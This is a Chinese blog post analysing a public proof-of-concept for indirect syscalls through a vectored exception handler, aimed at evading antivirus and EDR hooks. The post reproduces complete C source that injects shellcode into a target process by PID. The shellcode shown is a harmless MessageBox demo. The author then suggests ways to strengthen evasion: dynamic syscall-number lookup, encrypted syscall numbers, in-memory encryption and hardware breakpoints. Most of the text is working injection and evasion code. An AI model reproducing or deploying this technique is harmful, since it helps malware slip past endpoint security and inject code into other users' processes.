今天来分享一下,看到的一种Indirect-Syscall,也是两年前的项目了,但是也是能学到思路,从中也是能感受到杀软对抗之间的乐趣!!说到乐趣,让我想起看到过一位大佬的文章对"游褒禅山记"的段落引用,这里也深有同感,或许乐趣就在其中吧!!
而世之奇伟、瑰怪,非常之观,常在于险远,而人之所罕至焉,故非有志者不能至也!
目录
1.Veh异常的引入
2.项目魔改方向
1.动态获取SSN
2.Veh的判断 && SSN的加密
3.增加内存对抗
1.Veh异常的引入
上一篇Blog讲到过很多Syscall,其中,有人发布了一种新颖的syscall的方式,也是通过Jmp去Ntdll实现的间接系统调用,但是这里引入了Veh。项目地址RedTeamOperations/VEH-PoC (github.com)https://github.com/RedTeamOperations/VEH-PoC/tree/main源代码如下
#pragma once
#include <Windows.h>
#include <stdio.h>
#include "incl.h"
EXTERN_C DWORD64 SetSysCall(DWORD offset);
BYTE* FindSyscallAddr(ULONG_PTR base) {
BYTE* func_base = (BYTE*)(base);
BYTE* temp_base = 0x00;
//0F05 syscall
while (*func_base != 0xc3) {
temp_base = func_base;
if (*temp_base == 0x0f) {
temp_base++;
if (*temp_base == 0x05) {
temp_base++;
if (*temp_base == 0xc3) {
temp_base = func_base;
break;
}
}
}
else {
func_base++;
temp_base = 0x00;
}
}
return temp_base;
}
ULONG_PTR g_syscall_addr = 0x00;
ULONG HandleException(PEXCEPTION_POINTERS exception_ptr) {
// EXCEPTION_ACCESS_VIOLATION check is not stable, some situation like during loading library
// might cause EXCEPTION_ACCESS_VIOLATION
// TODO: Add more checks for stability
if (exception_ptr->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
// Todo: decode syscall number in Rip if encoded
// modifing the registers
exception_ptr->ContextRecord->R10 = exception_ptr->ContextRecord->Rcx;
// RIP holds the syscall number
exception_ptr->ContextRecord->Rax = exception_ptr->ContextRecord->Rip;
// setting global address
exception_ptr->ContextRecord->Rip = g_syscall_addr;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
void VectoredSyscalPOC(unsigned char payload[], SIZE_T payload_size, int pid) {
ULONG_PTR syscall_addr = 0x00;
FARPROC drawtext = GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwDrawText");
if (drawtext == NULL) {
printf("[-] Error GetProcess Address\n");
exit(-1);
}
syscall_addr = (ULONG_PTR)FindSyscallAddr((ULONG_PTR)drawtext);
if (syscall_addr == NULL) {
printf("[-] Error Resolving syscall Address\n");
exit(-1);
}
// storing syscall address globally
g_syscall_addr = syscall_addr;
Init vectored handle
AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)HandleException);
NTSTATUS status;
// Note: Below syscall might differ system to system
// it's better to grab the syscall numbers dynamically
enum syscall_no {
SysNtOpenProcess = 0x26,
SysNtAllocateVirtualMem = 0x18,
SysNtWriteVirtualMem = 0x3A,
SysNtProtectVirtualMem = 0x50,
SysNtCreateThreadEx = 0xBD
};
// Todo: encode syscall numbers
// init Nt APIs
// Instead of actual Nt API address we'll set the API with syscall number
// and calling each Nt APIs causes an exception which'll be later handled from the
// registered vectored handler. The reason behind initializing each NtAPIs with
// their corresponding syscall number is to pass the syscall number to the
// exception handler via RIP register
_NtOpenProcess pNtOpenProcess = (_NtOpenProcess)SysNtOpenProcess;
_NtAllocateVirtualMemory pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)SysNtAllocateVirtualMem;
_NtWriteVirtualMemory pNtWriteVirtualMemory = (_NtWriteVirtualMemory)SysNtWriteVirtualMem;
_NtProtectVirtualMemory pNtProtectVirtualMemory = (_NtProtectVirtualMemory)SysNtProtectVirtualMem;
_NtCreateThreadEx pNtCreateThreadEx = (_NtProtectVirtualMemory)SysNtCreateThreadEx;
HANDLE hProcess = { INVALID_HANDLE_VALUE };
HANDLE hThread = NULL;
HMODULE pNtdllModule = NULL;
CLIENT_ID clID = { 0 };
DWORD mPID = pid;
OBJECT_ATTRIBUTES objAttr;
PVOID remoteBase = 0;
SIZE_T bytesWritten = 0;
SIZE_T regionSize = 0;
unsigned long oldProtection = 0;
// Getting handle to module
//printf("loaded syscall before detect\n");
//system("pause");
// Init Object Attributes
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
clID.UniqueProcess = (void*)mPID;
clID.UniqueThread = 0;
if (!LoadLibraryA("syscall-detect.dll")) {
printf("Failed to load library \n");
}
printf("[+] Starting Vectored Syscall... \n");
system("pause");
//printf("loaded syscall detect\n");
// open handle to target process
status = pNtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clID);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to Open Process: %x \n", status);
exit(-1);
}
// Allocate memory in remote process
regionSize = payload_size;
status = pNtAllocateVirtualMemory(hProcess, &remoteBase, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
printf("[-] Remote Allocation Failed: %x \n", status);
exit(-1);
}
// Write payload to remote process
status = pNtWriteVirtualMemory(hProcess, remoteBase, payload, payload_size, &bytesWritten);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to write payload in remote process: %x \n", status);
exit(-1);
}
// Change Memory Protection: RW -> RX
status = pNtProtectVirtualMemory(hProcess, &remoteBase, ®ionSize, PAGE_EXECUTE_READ, &oldProtection);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to change memory protection from RW to RX: %x \n", status);
exit(-1);
}
// Execute Remote Thread
status = pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)remoteBase, NULL, FALSE, 0, 0, 0, NULL);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to Execute Remote Thread: %x \n", status);
exit(-1);
}
printf("[+] Injected shellcode!! \n");
system("pause");
}
int main(int argc, char** argv) {
// parsing argument
int pid = 0;
if (argc < 2 || argc > 2) {
printf("[!] filename.exe <PID> \n");
exit(-1);
}
pid = atoi(argv[1]);
// MessageBox "hello world"
unsigned char payload[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";
// Size of paylaod
SIZE_T payload_size = sizeof(payload);
// Invoke Classic Process Injection
VectoredSyscalPOC(payload, payload_size, pid);
}
其中这个syscall的一个特色就是它的Veh了,下面我们逐行代码解析
前面不多说的,我们直接跟进VectoredSyscalPOC 这个函数
VectoredSyscalPOC(payload, payload_size, pid);
首先通过找到ZwDrawText这个Zw函数的系统调用
ULONG_PTR syscall_addr = 0x00;
FARPROC drawtext = GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwDrawText");
if (drawtext == NULL) {
printf("[-] Error GetProcess Address\n");
exit(-1);
}
syscall_addr = (ULONG_PTR)FindSyscallAddr((ULONG_PTR)drawtext);
if (syscall_addr == NULL) {
printf("[-] Error Resolving syscall Address\n");
exit(-1);
}
因为就算是天擎这种这么喜欢HookNt函数的也不hook这个冷门函数
我们跟进去FindSyscallAddr 这个函数
syscall_addr = (ULONG_PTR)FindSyscallAddr((ULONG_PTR)drawtext);
这个就是在再通过不断移动func_base的地址,来找到drawtext它syscall的地址
BYTE* FindSyscallAddr(ULONG_PTR base) {
BYTE* func_base = (BYTE*)(base);
BYTE* temp_base = 0x00;
//0F05 syscall
while (*func_base != 0xc3) {
temp_base = func_base;
if (*temp_base == 0x0f) {
temp_base++;
if (*temp_base == 0x05) {
temp_base++;
if (*temp_base == 0xc3) {
temp_base = func_base;
break;
}
}
}
else {
func_base++;
temp_base = 0x00;
}
}
return temp_base;
}
接着就是异常处理函数的引入了
AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)HandleException);
这里我们先不跟进去(我个人觉得会更好理解),我们继续往下看
enum syscall_no {
SysNtOpenProcess = 0x26,
SysNtAllocateVirtualMem = 0x18,
SysNtWriteVirtualMem = 0x3A,
SysNtProtectVirtualMem = 0x50,
SysNtCreateThreadEx = 0xBD
};
// Todo: encode syscall numbers
// init Nt APIs
// Instead of actual Nt API address we'll set the API with syscall number
// and calling each Nt APIs causes an exception which'll be later handled from the
// registered vectored handler. The reason behind initializing each NtAPIs with
// their corresponding syscall number is to pass the syscall number to the
// exception handler via RIP register
_NtOpenProcess pNtOpenProcess = (_NtOpenProcess)SysNtOpenProcess;
_NtAllocateVirtualMemory pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)SysNtAllocateVirtualMem;
_NtWriteVirtualMemory pNtWriteVirtualMemory = (_NtWriteVirtualMemory)SysNtWriteVirtualMem;
_NtProtectVirtualMemory pNtProtectVirtualMemory = (_NtProtectVirtualMemory)SysNtProtectVirtualMem;
_NtCreateThreadEx pNtCreateThreadEx = (_NtProtectVirtualMemory)SysNtCreateThreadEx;
这里就是把上面的SSN分别给了每一个nt函数的地址(是不是有点奇怪,别急!好戏开场!)
status = pNtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clID);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to Open Process: %x \n", status);
exit(-1);
}
// Allocate memory in remote process
regionSize = payload_size;
status = pNtAllocateVirtualMemory(hProcess, &remoteBase, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
printf("[-] Remote Allocation Failed: %x \n", status);
exit(-1);
}
// Write payload to remote process
status = pNtWriteVirtualMemory(hProcess, remoteBase, payload, payload_size, &bytesWritten);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to write payload in remote process: %x \n", status);
exit(-1);
}
// Change Memory Protection: RW -> RX
status = pNtProtectVirtualMemory(hProcess, &remoteBase, ®ionSize, PAGE_EXECUTE_READ, &oldProtection);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to change memory protection from RW to RX: %x \n", status);
exit(-1);
}
// Execute Remote Thread
status = pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)remoteBase, NULL, FALSE, 0, 0, 0, NULL);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to Execute Remote Thread: %x \n", status);
exit(-1);
}
然后就是分别调用这些NT函数(shellcode注入),但是他们调用的地址都是非法的,所以就会引发异常!!!😋😋
这时候我们再去跟进异常处理函数
ULONG_PTR g_syscall_addr = 0x00;
ULONG HandleException(PEXCEPTION_POINTERS exception_ptr) {
// EXCEPTION_ACCESS_VIOLATION check is not stable, some situation like during loading library
// might cause EXCEPTION_ACCESS_VIOLATION
// TODO: Add more checks for stability
if (exception_ptr->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
// Todo: decode syscall number in Rip if encoded
// modifing the registers
exception_ptr->ContextRecord->R10 = exception_ptr->ContextRecord->Rcx;
// RIP holds the syscall number
exception_ptr->ContextRecord->Rax = exception_ptr->ContextRecord->Rip;
// setting global address
exception_ptr->ContextRecord->Rip = g_syscall_addr;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
我们就突然熟悉了!!! 所以我手动加了一个注释🤠
//This Stub Should Look Like
//mov r10 , rcx
//mov eax , ssn
//jmp ntdll!syscallAddr
因为异常处理函数中,我们能获取到它发生异常的地址,而碰巧,我们就调用nt函数的时候这个地址,正好被换成了我们的ssn!! 所以我们的 exception_ptr->ContextRecord->Rip 就是SSN,这里是我认为非常巧妙的一个点!
然后把程序的Rip指向我们之前找到的drawtext它syscall的地址,正正好好的完成了我们的IndirectSyscall!!!
而他的另外一个很大的优点是什么!!
:它不用构造特定的Stub,或者说不会出现Syscall,Jmp或者说考虑SysWhisper3的egg这种操作,也是可以规避了Syscall的特征检测!!
2.项目魔改方向
1.动态获取SSN
在这份代码中,SSN是作者直接写死了的,于是作者也加了这样的一个注释
// Note: Below syscall might differ system to system
// it's better to grab the syscall numbers dynamically
我们可以动态获取SSN,这种方式已在大部分Syscall项目中实现
2.Veh的判断 && SSN的加密
这个是作者认为可以改进的地方,也是在代码中抛出的
// EXCEPTION_ACCESS_VIOLATION check is not stable, some situation like during loading library
// might cause EXCEPTION_ACCESS_VIOLATION
// TODO: Add more checks for stability
这里是作者前面进行了LoadLibrary的操作,担心导致0xc000005,这里可以加上判断异常地址的值通过算法计算是否是加密的SSN! 因为这里作者也是提到了SSN可以进行一个加密的操作
// Todo: encode syscall numbers
// init Nt APIs
// Instead of actual Nt API address we'll set the API with syscall number
// and calling each Nt APIs causes an exception which'll be later handled from the
// registered vectored handler. The reason behind initializing each NtAPIs with
// their corresponding syscall number is to pass the syscall number to the
// exception handler via RIP register
所以我们可以对SSN进行加密,然后我们后面 mov eax ,ssn 的操作就可以变成这样
exception_ptr->ContextRecord->Rax = Decrypt(exception_ptr->ContextRecord->Rip);
3.增加内存对抗
现在的对抗趋势,已经逐渐往内存对抗上去进行(如某绒新增的内存查杀可把某些人杀的不浅),所以我们也是可以进行内存动态加解密,但是这里可以配合一种无痕的Hook技术 "硬件断点",这个后续也会进行更新。
主要是通过Inline-Hook需要修改内存,如果以后的AV || EDR 增加"内存巡检",那么我们的Patch内存将会是一种灾难,甚至会导致直接查杀,但是即使是硬件断点,也是可以被检测!但是还是那句话,"道高一丈,魔高一尺",或许杀软对抗的乐趣就在其中吧!!! :>)